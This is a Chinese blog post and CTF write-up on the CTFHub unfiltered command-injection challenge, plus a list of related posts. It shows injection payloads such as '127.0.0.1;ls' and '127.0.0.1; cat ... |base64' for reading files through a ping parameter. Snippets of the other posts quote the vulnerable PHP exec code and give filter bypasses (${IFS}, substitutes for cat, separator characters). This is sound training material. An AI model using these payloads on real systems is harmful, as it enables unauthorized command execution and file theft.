CTFHub 命令注入-无过滤

最新推荐文章于 2025-01-14 18:59:46 发布

m0_65766842

最新推荐文章于 2025-01-14 18:59:46 发布

阅读量291

点赞数

文章标签：安全

本文链接：https://blog.youkuaiyun.com/m0_65766842/article/details/129280815

版权

文章描述了一位用户通过Linux命令行操作，首先使用ls查看当前目录，接着读取index.php文件。在未找到flag后，他用cat结合base64命令打开另一个未读取过的文件，解密后得到了flag。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

打开题目

首先执行Is的命令来查看当前目录

?ip=127.0.0.1;ls

我们可以看到当前目录下的文件

看到index文件，直接用cat命令进行读取

?ip=127.0.0.1;cat index.php

打开index文件下的数据

发现没有flag ，查看原本的根目录，发现有个文件没有打开过

运用cat命令并进行base64的命令进行打开

127.0.0.1; cat 1451990653628.php |base64

得到一串base64的编码

解密之后得到flag

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

m0_65766842

关注关注

0
点赞
踩
2

收藏

觉得还不错? 一键收藏
0
评论
分享

复制链接

分享到 QQ

分享到新浪微博

扫一扫
举报

举报

CTFHub -技能树命令注入-无过滤

qq_45653588的博客

07-24

2190

0X00 命令注入-无过滤进入页面后给出的源码，题目要求输入IP地址执行ping命令 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res); } ?> <!DOCTYPE html> <html> <head> <title>CTF

CTFhub(eval执行，无过滤，过滤cat，过滤空格，过滤运算符）

ndjnddjxn的博客

04-02

1104

未发现什么，返回上一级目录？

参与评论您还未登录，请先登录后发表或查看评论

ctfhub 命令注入（无过滤）和过滤cat

2401_88422349的博客

11-05

341

ls查看当前网页下包含的文件，发现有串.php文件。找到flag，根据提示，cat被过滤，那么就用\分隔cat，防止被过滤。打开根据代码，ping自己主机回环地址127.0.0.1。打开页面之后用Ctrl+u查看源代码，里面就有flag。开始同无过滤，ping本机地址，查看当前页面下的目录。打开页面后查看源代码，可以找到flag。

ctfhub 命令注入

a666666688的博客

08-05

876

因为过滤了分割符，所以flag_is_here文件夹下的文件不能直接读取。若要在表单提交处修改则需要注意，提交后删除url中的25后即可执行。如果包含了这些被禁止的字符，就将匹配结果存储在。如果不包含这些字符，就构建一个。参数，会进行进一步的正则表达式匹配检查。这段代码的主要目的是根据用户通过。函数执行，将结果存储在。注意本体在url上修改即可。参数执行相应的操作。

【CTFHub】REC-命令注入

最新发布

2301_76769195的博客

01-14

542

1. 命令注入-无过滤；2. 命令注入-过滤cat；3. 命令注入-过滤空格；4. 命令注入-过滤目录分隔符；5. 命令注入-过滤运算符；6. 命令注入-综合过滤练习。

CTFHub-Web-RCE-命令注入

qq_54037445的博客

11-29

2671

1、常见的拼接符1、A;B 先执行A，再执行B2、A & B 简单的拼接3、A | B 显示B的执行结果4、A&&B A执行成功之后才会执行B5、A || B A执行失败之后才会执行B, 在特殊情况下可代替空格2、常见的命令1.type 显示文本文件内容type x:\1.txt //显示x盘下的1.txt文件内容。

ctfhub--＞命令注入练习

qq2489021103的博客

04-01

791

ctfhub-web练习–>各种绕过 1.这题没有任何过滤直接127.0.0.1;ls获取目录，找到flag，然后cat flag在注释里面。 2.这题过滤了cat 百度下php类cat方法： 127.0.0.1;ls 得到目录后 127.0.0.1; less flag_11261594711502.php 得到flag 3.过滤空格用IFS绕过127.0.0.1;cat{IFS}绕过 127.0.0.1;catIFS绕过127.0.0.1;cat{IFS}flag_163033

CTFHub技能树RCE命令注入

深耕网络安全领域，聚焦护网行动（HW）、渗透测试、等级保护（等保）、CTF 竞赛四大核心方向，提供技术干货、实战经验与行业洞察。

03-19

5433

1.命令注入 // 关键代码 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) {// 传入ip， $cmd = "ping -c 4 {$_GET['ip']}";// 运行命令，可以拼接 exec($cmd, $res);// 执行cmd，把结果输出到res } if ($res) { ...

CTFHub 命令注入-过滤cat

At0m的博客

01-14

3426

CTFHub 命令注入-过滤cat 第一还是看源码，首先是肯定是过滤了cat关键字，虽然看不太懂，但是才也是这样啊嘻嘻。但是preg_match_all有三个参数，看一下，这三个参数分别是干什么的： <?php $userinfo = "Name: PHP Title: Programming Language"; preg_match_all ("/(.*)<\/b>/

CTFhub——命令执行

墨子辰的博客

02-04

1469

目录NO.1 无过滤注入NO.2 过滤catNO.3 过滤空格NO.4 过滤目录分隔符NO.5 过滤运算符NO.6 综合过滤练习 NO.1 无过滤注入 <?php $res = FALSE; if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res); } ?> 代码中没有任何过滤 ?ip=|cat 307092239529587.p

第四周 ctfhub

plant1234的博客

03-06

358

RCEeval执行:文件包含php://input:远程包含:读取源代码:文件包含:命令注入-无过滤:命令注入-过滤cat:命令注入-过滤空格:命令注入-过滤目录分隔符:命令注入-过滤运算符:命令注入-综合练习: eval执行: 首先打开环境：根据资料知道： eval会把字符串当作php语言执行所以：执行：/?cmd=system(“ls …/”); 没有发现什么，在进行下返回上一目录: 没有发现什么，在进行下返回上一目录: 发现flag文件 cat它 /?cmd=system(“cat%20

CTF刷题记录CTFHub-RCE-命令注入

m_de_g的博客

07-24

5647

** CTFHub-RCE-命令注入 ** 一、解题思路通过输入一些指令，利用某些特定的函数进行的操作，从而达到命令执行攻击的效果。 1.无任何的过滤因为没有任何的过滤，那么我们可以直接使用分号(;)闭合前面的语句，执行ls命令 http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls 通过执行ls命令可以看到，该目下的文件，这是linux环境下如果是window环境下，使用命令dir查看目录文件我

Litctf web复现

qq_74193776的博客

05-25

303

LitCTF web复现

CTFhub RCE解题思路

kindyyy的博客

05-16

536

命令注入——无过滤先打开题目: 没有过滤

CTF命令执行及绕过技巧

热门推荐

JBlock的博客

03-07

2万+

前言今天是代码审计部分的一个技巧补充!前些阵子做了sql注入回顾篇系列！今天开启php代码审计系列！今天内容主要是CTF中命令注入及绕过的一些技巧！以及构成RCE的一些情景！文章目录前言正文代码执行代码执行的几种方式命令执行常见命令执行函数绕过姿势敏感字符绕过处理无回显的命令执行Think one Think 正文在详细介绍命令注入之前，有一点需要注意：命令注入与远程代码执行不同。他们的区...

ctfhub中RCE命令注入

weixin_43326436的博客

06-12

1972

一.实验环境ctfhub RCE知识点: rce分为远程执行ping，和远程代码执行evel。漏洞出现原因：未在输入口做输入处理。涉及到ping命令:ping是windows，linux系统下的一个命令，ping也属于一个通信协议，是TCP/IP协议的一部分，利用ping命令可以检查网络是否连通，可以很好的帮助我们分析和判定网络故障。 LINUX系统的管道符: 1," ; ": 执行完前面的语句在执行后面的语句。 2.“ | “: 显示后面的语句的执行结果。 3.” || “：当前的语句执行出错时，

CTFhub命令注入,过滤了cat命令,过滤了空格,过滤目录分隔符,过滤运算符,综合练习

luminous_you的博客

12-09

3020

命令注入 127.0.0.1&ls 127.0.0.1&cat 109131856411048.php 过滤了cat命令之后，你还有什么方法能读到 Flag? 127.0.0.1&ls 127.0.0.1&less flag_2881947412234.php 127.0.0.1&more flag_2881947412234.php 127.0.0.1&head flag_2881947412234.php 127.0.0.1&tail flag_2

CTF关于ping命令注入问题（1）

欢迎来到神林的博客

03-07

1万+

题目样式对于看到ping或者ping命令却没有弄waf时就要想到命令注入。具体注入方法看到ping命令就可以利用截断来执行新的命令。首先测试所有的截断符号： ‘$’ ‘;’ ‘|’ ‘-’ ‘(’ ‘)’ ‘反引号’ ‘||’ ‘&&’ ‘&’ ‘}’ ‘{’ '%0a’可以当作空格来用；利用截断符号配合普通命令简单问题基本就出来；例如：ip=127.0.0.1...